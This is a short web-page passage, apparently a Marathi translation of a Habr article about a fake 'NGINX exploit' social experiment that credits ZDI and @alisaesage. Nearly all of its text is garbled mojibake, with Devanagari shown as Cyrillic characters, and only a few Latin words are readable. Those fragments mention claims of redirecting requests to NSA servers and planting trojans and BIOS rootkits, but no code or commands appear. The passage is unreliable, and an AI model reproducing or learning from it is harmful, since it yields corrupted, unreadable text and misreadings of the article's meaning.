  • рдШреБрд╕рдЦреЛрд░реА/рдирд┐рдВрджрдиреАрдп рд╣реЕрдХрд┐рдВрдЧрдЪреНрдпрд╛ рд╕реНрдкрд╖реНрдЯ рдЪрд┐рдиреНрд╣реЗ рдкрд╛рд╣рддреЛ рдЖрдгрд┐ рдирдВрддрд░ NSA рд╕рд░реНрд╡реНрд╣рд░рдХрдбреЗ рд╡рд┐рдирдВрддреНрдпрд╛ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдгреНрдпрд╛рд╕ рд╕реБрд░реБрд╡рд╛рдд рдХрд░рддреЛ (ha!).
  • рд╕рд░реНрд╡ рд╕рдВрдЧрдгрдХрд╛рдВрд╡рд░ рдЯреНрд░реЛрдЬрди рддрд╕реЗрдЪ BIOS рд░реВрдЯрдХрд┐рдЯ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рдЬреНрдпрд╛рдВрдЪреЗ рд╡рд╛рдкрд░рдХрд░реНрддреЗ рдирд┐рдпрдорд┐рдд рдмреНрд░рд╛рдЙрдЭрд░рд╡рд░реВрди рд╣реЛрд╕реНрдЯрд▓рд╛ рднреЗрдЯ рджреЗрддрд╛рдд (рдлрдХреНрдд рдЧрдВрдордд!).

рдмрдирд╛рд╡рдЯ nginx рд╢реЛрд╖рдгрд╛рд╕рд╣ рд╕рд╛рдорд╛рдЬрд┐рдХ рдкреНрд░рдпреЛрдЧрд╛рдЪреЗ рдпрд╢
antimers рдПрдХ рд▓рд╣рд╛рди рднрд╛рдЧ

рдпрд╛ рдкреНрд░рдХрд░рдгрд╛рдд, рдЕрдкрд╛рдЪреЗрдЪреНрдпрд╛ рдХрд╛рд╣реА рд╡реИрд╢рд┐рд╖реНрдЯреНрдпрд╛рдВрд╡рд░ рдкреНрд░рднреБрддреНрд╡ рдорд┐рд│рд╡рдгреЗ рд╣реЗ рдорд╛рдЭреЗ рдПрдХрдореЗрд╡ рдзреНрдпреЗрдп рд╣реЛрддреЗ - рд╡рд┐рд╢реЗрд╖рддрдГ, рд╡рд┐рдирдВрддреНрдпрд╛ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рдЫрд╛рди рдирд┐рдпрдо - рдЖрдгрд┐ рдореА рд╡рд┐рдЪрд╛рд░ рдХреЗрд▓рд╛: рдХрд╛ рдирд╛рд╣реА?

NGINX рд╢реЛрд╖рдг (рд╡рд╛рд╕реНрддрд╡рд┐рдХ!)

рдпрд╛рдЪреА рд╕рджрд╕реНрдпрддрд╛ рдШреНрдпрд╛ @alisaesage Twitter рд╡рд░ рдЖрдгрд┐ NGINX рдордзреАрд▓ рдЦрд░реНтАНрдпрд╛ рдЕрд╕реБрд░рдХреНрд╖рд╛ рдЖрдгрд┐ рд╕рдВрдзреАрдВрдЪрд╛ рдлрд╛рдпрджрд╛ рдШреЗрдгреНрдпрд╛рд╕рд╛рдареА ZDI рдЪреНрдпрд╛ рдорд╣рд╛рди рдХрд╛рд░реНрдпрд╛рдЪреЗ рдЕрдиреБрд╕рд░рдг рдХрд░рд╛. рддреНрдпрд╛рдВрдЪреНрдпрд╛ рдХрд╛рд░реНрдпрд╛рдиреЗ рдорд▓рд╛ рдиреЗрд╣рдореАрдЪ рднреБрд░рд│ рдШрд╛рддрд▓реА рдЖрд╣реЗ рдЖрдгрд┐ рдорд╛рдЭреНрдпрд╛ рдореВрд░реНрдЦ рдЯреНрд╡рд┐рдЯрдореБрд│реЗ рд╕рд░реНрд╡ рдЙрд▓реНрд▓реЗрдЦ рдЖрдгрд┐ рд╕реВрдЪрдирд╛рдВрд╕рд╣ рддрд┐рдиреЗ рд╕рдВрдпрдо рдмрд╛рд│рдЧрд▓реНрдпрд╛рдмрджреНрджрд▓ рдореА рдЕреЕрд▓рд┐рд╕рдЪрд╛ рдЖрднрд╛рд░реА рдЖрд╣реЗ. рд╕реБрджреИрд╡рд╛рдиреЗ, рдпрд╛рдиреЗ рдХрд╛рд╣реА рдЪрд╛рдВрдЧрд▓реЗ рдХреЗрд▓реЗ: рдпрд╛рдореБрд│реЗ NGINX рдЕрд╕реБрд░рдХреНрд╖рд╛, рддрд╕реЗрдЪ рдХрд░реНрд▓рдЪреНрдпрд╛ рдЧреИрд░рд╡рд╛рдкрд░рд╛рдореБрд│реЗ рдЙрджреНрднрд╡рд▓реЗрд▓реНрдпрд╛ рд╕рдорд╕реНрдпрд╛рдВрдмрджреНрджрд▓ рдЬрд╛рдЧрд░реВрдХрддрд╛ рд╡рд╛рдврд╡рд┐рдгреНрдпрд╛рдд рдорджрдд рдЭрд╛рд▓реА.

рд╕реНрддреНрд░реЛрдд: www.habr.com

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдЬреЛрдбрд╛